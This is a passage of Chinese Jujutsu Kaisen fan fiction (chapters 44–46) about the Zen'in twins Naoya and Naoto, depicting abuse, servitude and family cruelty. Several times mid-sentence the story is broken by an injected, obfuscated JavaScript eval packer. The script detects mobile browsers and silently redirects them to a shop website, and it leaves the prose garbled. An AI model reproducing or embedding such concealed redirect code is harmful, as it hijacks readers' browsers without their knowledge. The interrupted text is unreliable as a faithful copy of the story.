既然直人没有咒力,就应该把他送进躯俱留去,而不是让他和女人们在一起。 春枝知道是她对不住姐妹,可她不忍心,她说她以前有个弟弟,在躯俱留被人打死了。 她抱着直人一个劲抹眼泪,直人也不说话,脸上木木的,和春枝一起缩在角落里。 春枝搂着他的脸,手蒙着他的眼睛,让他靠在自己身上,她的泪水大滴大滴地打湿直人的头发。 春枝身上很硌人,她瘦了很多,因为她要把她每天的食物分给直人一半,可工作却比以前在直人母亲院子里更辛苦,还常因饥饿没有力气被人责骂。 于是直人不再喊饿,他每顿饭只吃两口,就把食物推给春枝,不肯再吃。 善良的春枝看着不肯吃饭,日益消瘦的他,就那样沉默地流着眼泪,直人只能又就着她的泪水,把东西吃进肚子里。 直人想,要是他不需要吃饭就好了。 这样,春枝因为他产生的痛苦就可以少一点点。 最后是一个叫明的女人,她是所有未婚女人里年纪最大的,也是脾气最差的一个。 她一把把瘦得像猫崽一样的直人从春枝怀里扯出来,丢到点着烛火的案桌边上:“既然要留下来,就得学着干活,我们这里养不起只会张口吃饭的少爷!” 于是直人开始和她们一起做手工活,他手很笨,针脚总是缝得很丑。明教了他几次,他也做不好。 “你这家伙,”忍无可忍的明伸出手指头戳在直人脑门上,力道大得他往后跌倒在榻榻米上,“老天爷到底给你开了哪扇窗啊!” 直人从地上爬起来,一声不吭地坐回她旁边,继续依照她的样子穿针引线,明说不出更生气的话了,只是抢过他手里的针线,又教他一遍。 这条连廊是只允许住女人的。 所以她们白天都不准直人出去,有人来的时候把他藏在衣橱里。时间久了她们觉得这样不行,就让直人蓄了长发,给他穿上了女人的衣服。 女人的和服穿着很拘束,走路的步子也要迈得很小。 直人穿着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比直哉当年吸着气鼓起来的肚子还要大。 惠子马上就要有孩子了。 意识到这点直人是欣喜的。 但他抬头看见惠子苍白的面色,他又笑不出来了。不过半年,惠子好像苍老了很多,眼神麻木,嘴角和皱纹一起下垂。 她看着已经完全和一个女孩无异的直人,无神的眼睛微微瞪大了一点,露出些许差异的神色。 可沉默良久,她的唇角开始在上扬与下撇之间来回抖动,与母亲相似的眉眼看向他的时候,直人却觉得陌生。 她流露出的情绪让直人不解和害怕,她笑出来了,却不是高兴和喜欢。是嘲笑,又像是怜悯。看着像是得意,但是好像又很悲伤。 最后她狠狠地斥责了春枝,春枝战战兢兢地跪伏在直人身边,直人也正要像她那样跪下为她求情,却被惠子拽起来,她三两下脱掉了直人的衣服,剪去了他的头发。 她拉着直人走了,没准许直人和任何人道别。 直人以为她要把她带到她丈夫那里去了,他要和她一起生活了。 可她在一扇门前停下,推开门,直人见到的是那张和他一样的脸——他两年未见的兄弟。 惠子把他拖到她的身前,摁住他的肩膀让他跪下,她说:“直人,直哉大人以后就是你的主人。” 44. 【三十八】回忆 母亲欺骗了我。 被同父异母的兄长踩着头,狼狈地趴在泥地里的直哉,愤怒地想到。 他的手死死抠进地里,指缝流出鲜血。 刚觉醒术式的直哉被带到家族的训练室,被强迫睁着眼睛面对那些曾让他惧怕得无数个夜晚都难以入睡的咒灵,一股脑灌输了有关咒力和术师的知识。 可他还没学会要怎样发动术式,还没适应要一直看见那样丑陋的怪物,就又被丢进了道场。 于是直哉认识了更多的人,更多姓禅院的人,他们有的竟也是他的兄弟,和他有同一个父亲。 但他们并未把直哉当做弟弟看待,他们对这个直到八岁,才知道咒灵是什么的可怜虫毫不迟疑地发起了围攻。 他们围在直哉身边,像逗狗一样戏弄他,拳头接二连三砸在他身上,不停地用脚把他踹倒,然后要求他爬起来,快爬起来。 不是觉醒了和父亲一样的术式吗? 还以为是天才呢! 哈哈,快回妈妈的怀里吃奶吧。 他们这样嘲笑着。 期间直毘人也会来,直哉和他有一样的术式,他很重视这个儿子,但是他看到直哉被这样欺辱也视若不见,只远远地看两眼,然后就头也不回地离开。 一直到晚上,直毘人会单独训练直哉两个小时。 看着鼻青脸肿的直哉,他只会笑,身上散发着浓郁的酒气。 “你要是打得过他们,就不会这么狼狈了。” 直哉怨恨地看着他。 他早就已经不会哭泣了,脸上只剩下仇恨这一种表情。 他怨恨眼前的父亲,怨恨他将自己从母亲还有直人身边带走。 “你该恨的是你的母亲。”直毘人看出他所想,轻飘飘地说道。 “禅院家有咒力的孩子们从五六岁就开始习武。只有你,直哉,你的母亲为了让你和你的兄弟有着一样的地位,一直央求我不要带走你。” “听说她一整个院子的人,都陪你们玩着看不见咒灵的游戏。”直毘人说着,哼哼地发笑,沾着酒液的胡子上下抖动,他说:“——可是看不见咒灵的,根本只有直人一个人嘛。” “要是你一开始就跟着我,就不是这样的处境了。你会比你所有哥哥都要强,今天在道场把他们打倒在地的会是你。” 你的母亲为了保护你的兄弟,把你拖累了。 直毘人是这样说的。 于是直哉不再期待了。 他不再期待回到母亲的身边,不再期待直人出现,帮他驱赶那群自称兄弟的鬣狗。 因为直人太弱了,术式都没有的废物,来了也只会是拖累,两兄弟挨两份的打。 而他的母亲,也只是个偏爱弱者的愚妇。 他开始没日没夜地训练,他要将被母亲剥夺的三年赶回来,他要把今日所受的一切耻辱加倍返还回去。 直毘人说的是对的。 直哉很有天赋。 一年之后,禅院直哉已经把道场里那些曾经围着他踢打的哥哥们一个个打翻在地。 直哉下手很狠,每一招都冲着死穴去打。 他的拳头砸下去的时候能听见骨头裂开的脆响,脚踹在对方肋下时能感觉到内脏在血肉底下破裂。 那些比他大三四岁的人如今在他手底下撑不过十招,最后总是趴在地上咳出血沫,连爬起来的力气都没有。 他也开始学着往日那些废物哥哥的样子羞辱他们,以他们的丑态取乐。 没有人再敢用他的母亲和他的孪生兄弟取笑他,他们看见他会立刻低下头,退到走廊边上,等他走过了才敢动作,哪怕是哥哥也要恭敬地喊他大人。 当然,他从来不承认那些人是他的哥哥,不过是侧室生下的庶子,比弟弟无用的人也不配被称为哥哥。 他想,直人肯定打不过他了,所以直人该乖乖叫他哥哥。 直哉成了直毘人最得意的小儿子,直毘人开始带他出席一些族内的聚会。 席间那些以前连正眼都不给一个的叔伯们会朝他举杯,谄媚地称呼他“直哉少爷”。 年仅九岁的直哉俨然有了他父亲的样子,稚嫩的面庞故作老成,抬起手举杯回敬。 所有人都不再记得直哉有个双胞胎兄弟,好像就连父亲也忘了,于是直哉成了直毘人唯一的嫡子。 自此,禅院直哉风头无两。 可直哉还是觉得不够。 他看向端坐主位的父亲。 直哉看得很明白了。 禅院家的每一个人都有自己的位置,身份和能力是向上爬的台阶,低一级的人永远只能向上位者低头。 儿子遵从父亲,妻子遵从丈夫,庶从嫡,仆从主,弱从强。 地位越低,被捆得越紧。 直哉每天早上天不亮就起床,吃早餐和晨练前要先向直毘人问安。 到了吃饭的时候,直哉要先等直毘人动筷。 直哉没有挑选菜色的权利,而每一样菜每一粒米不论难吃与否,他都必须吃干净,不允许剩下。 同直毘人出行的时候他要落后三步,直毘人不开口他就不允许说话。 晚上睡觉也不能随意。必须平躺,两手放在身体两侧。 如果睡着后姿势变动,守夜的下人会摇醒他,他就得重新把身体摊平,盯着黑暗里的天花板,直到再次睡着。 直哉哭泣过尖叫过,他试图摆脱掉这群无时无刻都跟在他身边管束他的人,回到妈妈的身边,回去找直人,直毘人对他的吵闹无动于衷,礼仪老师在直毘人的默许下会下更重的手。 直毘人是家主,他不用受任何规矩的束缚。在禅院家他所说的话就是规则,他所做的事就是标杆。 有一团心痒难耐的火,从那时起就在直哉的胸膛燃烧,烧干了他所有的眼泪和恐惧。 尚且年幼的他不懂那是什么,直到后来,他才知道那是野心。 他要成为禅院的家主,他要取代直毘人。 直哉开始学着用主人的眼光审视所有人。 他痛恨任何僭越。 直毘人的妾室,藤子,不过是加茂送来的一个旁支家的女儿,相貌比不得直哉母亲的万分之一,却得到允许把儿子养在身边。 这本是正妻才有的待遇。 直哉的母亲是直毘人的正妻,禅院家唯一不用出门侍奉男人的夫人。 哪怕是直哉其他叔伯长辈的正妻,白日也要充作仆从,听候直哉差遣。 但直哉的母亲不用,这是直毘人给她的优待。 扇对此颇有怨言,他认为直毘人浪费资源去养一个只会吃喝的废物。 直哉却很得意,他暂且认可了他母亲的话,她应该感激她的丈夫。 虽然他同样认为他的母亲是个只能等待丈夫怜爱的无用女人,但她是家主的正妻,哪怕是废物也被金尊玉贵地养着,更能体现出她丈夫的地位尊贵。 上位者有为所欲为的权利。 果然,直毘人仍然无视任何人的抗议,还是把她养在那个院子里,让她守着她剩下的那个儿子。 直人。 所有人都忘记他了。 就连道场里的人和那些大人们也不再提他,不再说些直人分走了直哉一半力量,和他的母亲都是吸直哉血的伥鬼之类的酸话。 但直哉还记得,他这个蠢得挂相,还和他共用一张脸的兄弟。 直哉心想,他是哥哥,直人是弟弟。他觉醒了投射咒法,而直人是个咒力都没有的废物。 非术师者非人。 所以直人不应该留在那个院子里过安逸的日子,他该滚出来,伺候兄长,将他所有的点心都供奉到我嘴边,这才是他该做的事。 这样的家伙,说他能分走我一半的力量?这种说法根本就是抬举他了。 仗着直毘人对他的进步感到满意,他提出要把直人接出来。 可直毘人拒绝了。 他说他答应了直哉的母亲,让直人留在她身边,他也绝不允许直哉回去见他的母亲和直人。 这个消息成了彻底点燃直哉的炸药。 这个懦弱到留不住他,愚笨到只会拖累他的女人,现在却奢想着要把直人留在她的身边。 女人养出来的儿子,也只会是没用的女人。 直哉开始等。 他听说她就要死了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887285|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怨毒地诅咒,赶紧去死吧,等她死了,他就要把直人从那个院子里拽出来,让他知道,他们从出生起就已经尊卑分明。 后来母亲真的死了。 就在直哉跟着直毘人的第二年。 直哉以为自己应该是高兴的,他不愧是上天宠爱的孩子,许下愿望不过半年,就应验了。 他最恨的女人死了。 督促他念诵佛经的女人死了。 叮嘱他要效忠父亲的女人死了。 教他唱新年祭歌的女人死了。 把他和直人搂在怀里念书的女人死了。 夸奖他早起和乖乖吃饭的女人死了。 得到消息的直哉眨眨眼,在大人们满意的注视下,他没有露出任何表情。 他想,真可惜她死得太安静。 如果她死去的时候有呼唤过他的名字,他也愿意再躺进她的怀里,给她一份施舍,算作她生下他的奖励。 …… 直人消失了。 惠子嫁给了扇,可直哉没有看见直人。 他去逼问惠子,惠子只是沉默。他看出来了,惠子在犹豫。 在犹豫要不要让直人回到他身边。 直哉很愤怒,对着惠子破口大骂,诅咒她会给扇生一对双胞胎女儿。 你们不都认为双胞胎是诅咒吗,那就给我通通都去生双胞胎好了! 这事被扇告到直毘人那里,直毘人训斥他让他把心思放在修行上。 直毘人警告直哉,如果他再惦念他那个没有咒力的兄弟,那他就会杀了他,让直哉获得全部的力量。 全部的力量。 又来了。 又来了。 又来了。 禅院直哉目眦欲裂。 是他还是太弱吗?他还不够努力吗? 他最年长的那个哥哥已经打不过他了,族里长辈已经承认同辈人里,他仅次于五条家的悟君了。为什么还要揪着直人不放? 他不承认,不承认这是他弱小的借口。 真正的强者不会有任何借口。 甚尔君有那样软弱的拖累,照样能成为这样强悍的男人。 你们是在瞧不起我,认为我注定赶不上甚尔,赶不上悟,所以才这样侮辱我。 至于直人。 直哉已经有两年未见过他这个弟弟了。他们是否还是长得那样相像? 和他这个嫡长子共用同一张脸,够他荣耀一生了! 被女人那样娇生惯养地宠爱着,恐怕已经胖得走不动路,光是想想直哉就要笑掉大牙了。 他已经迫不及待,想要取笑这样狼狈的直人了。 直哉更努力了。 他成了道场里最早到,最晚走的那一个。 任何敢挑战他的人全都被他打趴下,他拼了命地修行术式,迟早有一天,他会取代直毘人,他会成为禅院的家主,不会再有任何人胆敢违背他。 而到了那一天,没有人能再阻止他找到直人。 等他找到了直人,他要让直人看看,他现如今是何等风光,要是直人再想和他比比谁劲更大,他就会教他要怎么做一个合格的下人。 半年后的一天,惠子突然找到他,说她把直人带来了。 被丈夫和身孕折磨得不成型的可怜女人,从她身后扯出一个更瘦的人。 直哉终于又见到了他。 头发乱七八糟地竖着,套着不合身的旧浴衣,他低着头,怯怯地看着他。 惠子让他跪下。 直哉看着他,面上没有任何表情。 对,就是这样,我要你给我跪下……他想着,他看着那样怯懦那样瘦弱的直人,怒火却要把他烧穿。 怎么回事啊,不是留在那个女人身边吗,像野种一样出现是怎么回事,你是傻了吗,不是叫你下跪吗,为什么不说话,为什么不动—— 直哉几乎要冲上去,你不肯跪是吧,那我要让你看看我的厉害—— 在直哉动的前一刻,直人双膝并拢,轻轻地跪下了。他伏下身体,额头触地,后颈完整地从领口露了出来。 像母亲跪在父亲跟前那样,他跪了在直哉脚边。 45. 【三十九】回忆 直哉是个大麻烦。 直人是个天大的麻烦。 这是风介从14岁起就有的深刻感悟。 风介自认为自己勉强算是个聪明人。 在道场里的家伙们合伙欺负直哉的时候,他只是躲得远远的看着,不阻拦,但也不参与。 因为他很有先见之明,从一开始就觉得这事不靠谱——上一个投射咒法的实力还摆在那里,直哉怎么可能会真的一直弱下去? 等直哉不出所料地崛起后,风介开始有意无意地出现在直哉眼前,然后成功被直哉注意到。 禅院家只分两类人,压迫人的,和被压迫的。 风介对以听别人哀嚎为乐的休闲活动不感兴趣,但他也不想成为哀嚎的那一个。于是在他真正认为有前途的继承人出现后,他开始试着下注了。 最开始的经历让直哉不屑于接受任何人的讨好,在一众变换嘴脸的同龄人里,直哉果然选择了只是偶尔与他对练,但从不多言的风介。 直哉没有风介想得那么难伺候。 大多数时候,风介只用在直哉说话的时候负责在旁边捧哏就行了。 但很快,风介察觉到不对。 或许是直哉得意的年纪太早了,他从九岁就成了家主风头最盛的孩子,实在有些目中无人,做事肆意妄为不考虑后果。 连很多长辈也不放在眼里。 这可不行。 风介提醒直哉谨言慎行,但直哉肯定是不可能听他的,还怒斥他竟敢来做他的主。 风介开始意识到,直哉不是良主。 实力虽然是在禅院家立足的决定性力量,但前提是直哉要活到能用实力让所有人闭嘴的那一天。 他这样下去,迟早会把禅院家的人全部得罪完,还没来得及真正冒出枝芽就被那些老狐狸想办法碾死。 几次劝告无果后,风介开始和直哉疏远。 他庆幸此前他给自己留了后路,在人前并没有和直哉表现得很亲近,离了道场两人很少同时出现在人多的场合。 但让风介没想到的是,不过两个月,直哉竟然主动找上他了。 而且是邀请风介去他房里吃晚餐。 这可不太对劲。 此前二人的关系靠风介主动维持,直哉也只是拿他当个陪说话的。出了道场,直哉更是头都不回地和他分道扬镳。 怎么会突然转性邀他吃饭。 在大部分成年人眼里,这已经是抛出橄榄枝,要与他结好的信号。 虽然直哉只有11岁,他看上去并不精通也并不屑于此道。 可一但风介进了直哉的房间,被其他人看见,那就都默认他是直哉一党了。 风介还不想太早站队,他开始盘算婉拒的理由。 “时间不太巧呢,我今天下午接了任务——” 直哉一边眉毛挑起来,随手揪住一个路过的倒霉鬼:“喂,听见没有,风介的任务归你了。” 那人也不敢问风介是什么样的任务,只战战兢兢连连点头。 直哉得到了满意的回答,一脚踹上去让人家滚。 “你还有什么事?”他回过头,面无表情地看向风介,下巴微抬。 “我贸然前去,家主会不会……”风介左思右想,又搬出直毘人。 直哉现在还住在家主的院子,按理来说,他是没有擅自邀请客人的权利的。 闻言,直哉表情扭曲一瞬。但他竟没有破口大骂,而是隐忍了下来。 风介见状心里更没底了。暗自祈祷直哉没有径直把他告诉给直毘人。 “没关系,父亲今天不在家。他去东京了。” 直哉极力压制住情绪,平稳地说出这句话,没再容许风介拒绝,他径直转过身,勒令风介跟上。 一路上,直哉罕见地没有说话。 风介跟在他身后,试图打探他这样做的原因,但直哉却表现得很不耐烦,还越走越快。 到了家主的庭院,除了几个仆从,的确没有其他人在。 风介松了口气。 直哉带着他直奔自己房间,拉开拉门,风介的视线越过直哉肩头,看到宽敞的和室中央正跪坐着一个人。 他是侧对着门口的,双手放在膝上,微微低着头。 院里的阳光透过拉窗映在他另外半边身体,柔和地勾勒出侧脸的轮廓。 听到门开的声音,他轻轻地调转方向,没有抬头,眼睫低垂,就着跪姿躬身行礼:“欢迎回来,兄长大人。” 虽然是第一次见面,但风介只需一眼就知道这是谁,这是直哉的双胞胎兄弟,直人。 这顿饭风介吃得很不安。 房间里只有他们三人,要进来侍奉的侍女被直哉赶走了。 直人跪坐在直哉身边,他取代了侍女的工作,为直哉布菜。 风介不知道直哉到底出于什么目的邀请他。 直哉坐下后几乎没看过他,直人自然也没有,更没有人说话。 当然,食不言的规矩风介是懂的。 他指的不是这个。 不知道为什么,直哉看上去很不爽。 夹菜放碗的动静都很大,有几次还故意把汤溅在直人手上。 汤汁应该还有些烫,直人的皮肤肉眼可见地泛红,但直人没躲,都低眉顺眼地忍下来了。 真不容易。 风介想着,目光悄悄在直人身上打量。 的确和直哉有着一模一样的脸,但却是和直哉完全不一样的神情。 低垂的眼尾,恭敬顺从的姿态,连眉毛下弯的弧度都那么乖巧。 从风介进门到现在,直人没抬起过一次眼睛,也没再说过第二句话,只专心伺候直哉。 道场里的人都知道,几个月前直人回到了直哉的身边,但没人见过他,直哉没把他带出来过。 更何况过了才没几天,直毘人又把直人送进了躯俱留。这件事当时整个禅院都知道,因为直哉为此和直毘人闹得很凶,被痛打一顿后还被关了禁闭。 风介还听说直人在躯俱留被欺压得很惨,家主知道后睁一只眼闭一只眼,那边的人下手就更肆无忌惮。 道场里的人本想组团去瞧瞧热闹,结果路上正好遇到刚被放出来的直哉,后果可想而知,未来一个月风介都没见过他们。 因此风介虽然有些好奇,但也没敢去触直哉的霉头。 没想到,直人居然已经回来了。 什么时候的事,完全没听说过。 是那次直哉冲去躯俱留抢回来的吗?他还以为他又失败了。 风介看着眼前,俨然和仆从无异的直人,一时心里不知道是何感想。 费那么大一番力气,就为了把人带回来当仆人。 可风介总觉得有一种违和感。 他说不上来。 或许是因为着装。 和直哉还有风介为了训练方便穿的练功服不一样,直人穿着全套的和服,墨色的羽织上绣着家纹,袴不是简单的纯色,还有精美的花纹。 柔顺的短发梳得很整齐,露出和直哉如出一辙的眉眼,举手投足散发出熏香的香气。 看上去远比刚从道场回来的直哉和风介体面风光。 可那又如何。 屋内没有第三张矮桌,饭菜也没有直人的份。直人仍垂着眼,跪在直哉身边,侍奉直哉用餐。 对男子而言,这是何等的羞辱啊。 风介有些不忍地想着,一边把脚又往腿底下缩了缩,庆幸今天穿的袜子没有破洞。 与此同时,他的动作更小心了点,生怕直哉的脾气发在自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“风介君与兄长大人是很要好的朋友。” 直人的声音不高,但正好能让所有人听清。直毘人也像才注意到他的,低下了头。 风介瞪大眼睛,仓皇地看向直哉,他以为直哉会斥责直人僭越,可直哉只是冷冷地看着。 直人继续说:“兄长大人常常和我提起,说风介君为人正直,刻苦勤奋,在道场里对他多有照拂。今日兄长特意邀请风介君来一聚,是想多谢他平日里的帮助,也是想和风介君的兄弟情意更进一步。” 风介脑子里嗡的一声,脸上血色尽失。 他看向仍然跪伏在那里的直人,心底发凉。 随着直人话音落下,风介感觉到数道视线同时钉在了自己身上。 是直毘人身后那些禅院家的高层,还有几个面生的老家伙。 他们的眼神不再是刚才的漠然或好奇,而是变成了某种意味深长的打量,带着点玩味,甚至是不易察觉的讥诮。 直毘人也看了过来,他看见风介难看得要命的脸色,又看了眼还跪在自己脚边的小儿子,喉咙里滚出一声低笑。 “哦?”直毘人拖长了调子,目光落在风介身上,脸上露出嘲讽,几乎是幸灾乐祸一样的表情。 “风介……是吧,炳一番队队长的儿子。你父亲在炳很得力,我之前就听说他有个很聪明的儿子,没想到正巧和直哉关系这么好。” 他顿了顿,像是在斟酌,又像是故意让沉默拉长风介的煎熬。 “既然直人都这么说了……”直毘人挥了挥手,忽视掉直哉铁青的脸,一锤定音,“直哉身边也确实该有个来往亲近,能信得过的人。风介,你以后就搬过来,和直哉一起住吧。” 许多年后,再一次被迫给直人收拾烂摊子的风介,咬牙切齿地醒悟,这居然已经是直人最聪明的一次。 46. 【四十】回忆 风介认为,人不可能在同一个地方跌倒两次。 后面他发现,真的能。 直人和直哉虽然有着同样的脸,但有着截然相反的性格。 这里不是指的他的谋算或者城府,因为风介发现他其实也就是个心眼比沙子大点的家伙,偶尔有点小聪明,但总是容易被情绪占了上风。 虽然自己是被迫绑上这条船的,但起初风介安慰自己,直哉旁边还有个聪明的直人。 可是在直哉又在外面出言不逊,回来后风介指望直人帮他一起说直哉的时候,直人眉头一皱,说的居然是以后要提防那些被直哉折辱过的人,小心他们在背后耍手段。 ……风介想一头撞死。 风介希望直哉能学会审时度势,收敛锋芒。平稳发展自己的势力,直至羽翼丰满,成功接任家主。 而直人想的却是怎么让直哉安全地嚣张下去。 直哉不需要改变,是禅院需要为直哉改变。直人是这么说的。 可直人眼界实在不够,他只能看见谁惹了直哉不高兴,他不考虑前因后果,就给人定了罪,开始暗暗记恨。 虽然他什么也做不了,毕竟他太弱小了,连带着身份也那么低微,甚至连同直哉一起会客的资格都没有——后来风介才明白,这就是那顿晚饭直人以侍者身份出现的原因。 因此,直人只能躲在屏风后面听直哉和谁又交谈了些什么,那人说了什么话,直哉又是如何嘲讽羞辱对方的。 直人都会一一记下来。 思虑着等到了父亲面前,该说些什么,来贬低那些可能记恨上直哉的倒霉蛋。 可直人实在年轻,小把戏耍得也不够看。直毘人有时候觉得好笑,会顺着他来,有时候又不耐烦地让他滚蛋。 但就这么点小聪明,居然正好把风介算计进去了。 意识到这点的风介很绝望。 直哉其实对直人也很有耐心。 当然,是相较于他对其他人来说。 直毘人虽然默许直哉把直人带回身边,但他完全把直人当做空气,只说让直哉自己好好管教他的弟弟。 说是管教,风介只能评价,要是直哉当了爹,他儿子绝对会比直哉本人还混世魔王。 直人每天都要睡到日上三竿,等直哉晨练完,从家主那里回来再把他从被窝里拖出来吃饭。 吃饭的时候,风介也再也没见过他伺候直哉,还要直哉反过来盯着他,不许他剩饭。 风介和直哉训练的时候,直人就坐在旁边玩。直哉开始听了风介的劝告,要教直人体术。但直人耍了几次赖之后,直哉居然也骂骂咧咧地由他去了。 两人只在人前摆出尊卑分明的架势,一旦关上了门,更多时候都是直哉被直人气得上跳下窜。 每到这时候,直人都不说话,就跪坐在那里,肩膀内收缩成小小一团,仰着脸静静地看着直哉,像受了天大的委屈,但他选择隐忍着承受。 等估摸着到时候了,看烦了的风介象征性地说句算了算了,然后直哉就真的算了,这事又翻篇了。 直人看上去逆来顺受,其实脾气也不比直哉的小。 而且他和直哉不同,直哉有火当场就发,有不高兴就写在脸上,但直人不会。 他敏感得要命,一点细节被他放在心里反复揣摩,一粒沙子都能在他胸腔来回摩擦,撕扯成越来越大的伤疤。 可他不说。 他当下不说,过后不说,你不逼问,他就一直不说。 但是你不问不行,他会用他的方式抗议,比如不肯吃东西,也不肯再到走廊上去活动,就躺在房间里,神色恹恹的,等你去问他怎么了,他只摇头,说话有气无力,像要死了一样。 然后你就得一样一样地在那里猜。 起初风介不知道他的德行。 连着一两天直人都这样,风介还以为他生病了,要去给他叫医生。但已经忍到极点的直哉直接扑上去,挥起拳头要往直人脸上砸。 “你摆这副死样子给谁看!” 风介吓了一跳,连忙过去拉架。 他挡在两人中间,直哉的拳头就要落下来,直人也不躲,乌黑的眼睛望着直哉,吧嗒一声,豆大的眼泪就从眼眶里滚出来,顺着脸颊落到地上。 直哉的动作僵住了,但胸膛还在一上一下地起伏,看上去气得要死了。 他眼睛瞪得老大,咬牙切齿:“你又来这套——” 风介只能又搬出那套老台词:“算了算了,做哥哥的。” 然后三个人终于能坐在一起,风介和直哉坐在直人对面,一件事一件事地复盘,问出他到底是因为什么不高兴。 这就是直人,直哉的双胞胎兄弟,让风介狠狠栽了一次跟头的臭小子。 风介对他又恨又烦,但真对上那双眼睛,又烦不起来了。 风介心想,他和一个只能耍别扭的小鬼置什么气。 风介只能自己把这口气咽了。 直人很出乎意料地喜欢小孩子。 扇的妻子产下了一对双胞胎女儿,直哉知道了高兴了好几天,还专门封了两个红包过去。 这是直哉最尊重长辈的一次。 但是却是不怀好意的高兴,直哉得意他不愧是上天最宠爱的孩子,一语成谶。 直人也很高兴,是真心实意的高兴。 直哉一出门,他就往惠子那边跑,去看两个孩子。 风介也懒得管他,他不在家里,风介还松了口气。 有次风介估摸着直哉要回来了,去惠子那里找他,看他抱着婴儿,在长廊下来回走动,嘴里轻轻哼着歌,哼得很难听,一点调子都没有。 那孩子居然也没被他吓哭,反而咿呀咿呀地笑。 直人听见她笑,也跟着笑,把脸靠近襁褓,和婴儿的脸贴在一起。 惠子也坐在走廊上,另一个孩子躺在摇篮里,惠子有一下没一下地晃动摇篮。她也开始唱那首小调,但她唱得很好听,慢慢地接替了直人的声音。 院子里的风吹过来,迎面吹在风介脸上,额前的碎发往后抚动。 直人背过身替孩子挡风,正好和风介目光对上,他抿着嘴,对风介也笑。 风真温柔啊,风介想。 等真希和真依满岁的时候,直人就不那么高兴了。 他说扇总是打两个孩子,要是惠子阻拦,他也会打惠子。 说起这件事的时候,直人满面愁容。他只和风介说这些,因为直哉也不喜欢那对姐妹,看见了也只会像逗猫逗狗一样,带着恶意逗弄两下。 不仅如此,扇还看不惯直人。因此惠子索性希望直人别再去探望真希真依了。 “要是没有扇就好了。”直人垂着眼,无意中说出这样的话。 扇是直毘人的弟弟,也是特一级术师,在家族颇有话语权,不是他们能招惹的。 风介不想惹麻烦,只是含糊地劝慰了几句。 他心想直人恐怕还是太寂寞了,直人从出生起至今还未离开过禅院家门,只能等着风介和直哉回来的时候,给他带点解闷的玩意儿,说说外面的事情。 现在直哉经常被家主带在身边,愈加繁忙,在家的时间越来越少。每次回来都身心俱疲,连带着对直人态度也不太好。 风介总觉得这对直人来说太残忍,也许他应该再去劝劝直哉,给直人找点事做。总要让直人学点什么,就算体术不行,读读书也是好的。 那段时间风介也很忙,很快把这事忘在脑后,等他想起来的时候,回去找直人,却发现直人又重新变得愉悦起来,眉眼带笑。 风介以为惠子又准他去看孩子了。 可是直人说不是,他说春枝上个月生了个女儿,他现在经常在春枝那里,帮春枝带孩子。 春枝。 风介依稀听过,好像说是直人以前的侍女。但直哉一直不准他再和那些女人来往。 直人问风介要不要去看看。 风介对小孩不感兴趣。但他思索了一下还是答应了,他要去看看是个什么样的情况才放心。 直人说春枝的丈夫是躯俱留的人,和春枝是二婚,前妻死了,留下个九岁的小儿子。 他提起这个男人的时候,很明显有些回避,不愿多说,风介只当这男人也嫌弃春枝生了个女儿。 因为这在禅院是很常见的事。 然后风介见到了春枝。 一个很柔弱,但看着面色很苦的女人。 房间只有她和她的女儿,她的丈夫在外面工作,继子在道场训练。 她正抱着孩子,哄孩子睡觉。看见直人来了,她笑起来,看看见直人身后的风介时,又有点拘谨和不安。 直人把风介介绍给了春枝,风介把直人准备的食物放在春枝面前的桌上,春枝对风介露出个很局促,又有些腼腆的笑。 春枝是长得很好看的。 大眼睛,小鼻子,头发很密地盘在脑后。 但她很瘦,瘦得眼睛更大了,头发也有些发黄,给人一副苦相。 直人接过孩子,很娴熟地哄着。春枝拿起吃的,一小口一小口地咬。 “孩子叫什么?”风介问。 春枝刚咽下一口糕点,听到风介说话,连忙调整跪姿面向风介低着头,手里剩下的部分放也不好,不放也不好,搭在膝头洗得发白的布料上,表现得很窘迫。 她的声音很小,风介没听清。 风介哭笑不得,说只是随便问问而已。 春枝抬起头,乌黑的眼睛楞楞地看着风介。脸略微地向下低着,看起来很乖顺,又有点委屈。 风介突然觉得这副样子似曾相识。 春枝又说话了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887287|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次风介听清了,她说她的丈夫还没给孩子取名字。 因为这是个女孩,她的丈夫不喜欢她。 风介沉默了。 直人没说话,手轻拍婴儿的襁褓。 突然,门外传来醉醺醺的叫骂。 春枝神色慌张,说她丈夫回来了。风介不明所以地和直人站起来,看春枝飞快地拉来衣橱的门,然后风介还没来得及反应,就被春枝扯着袖子推进了衣橱。 直人看上去倒是习以为常,春枝从他怀里接过婴儿,又把桌上的糕点全都塞回直人手里,拉上了门。 这算什么。 风介和直人束手束脚地躲在不大的衣橱里,里面粗糙的被单散发出些许霉味。 风介转头去看直人,直人的眼睛没有什么情绪,好像接受良好。 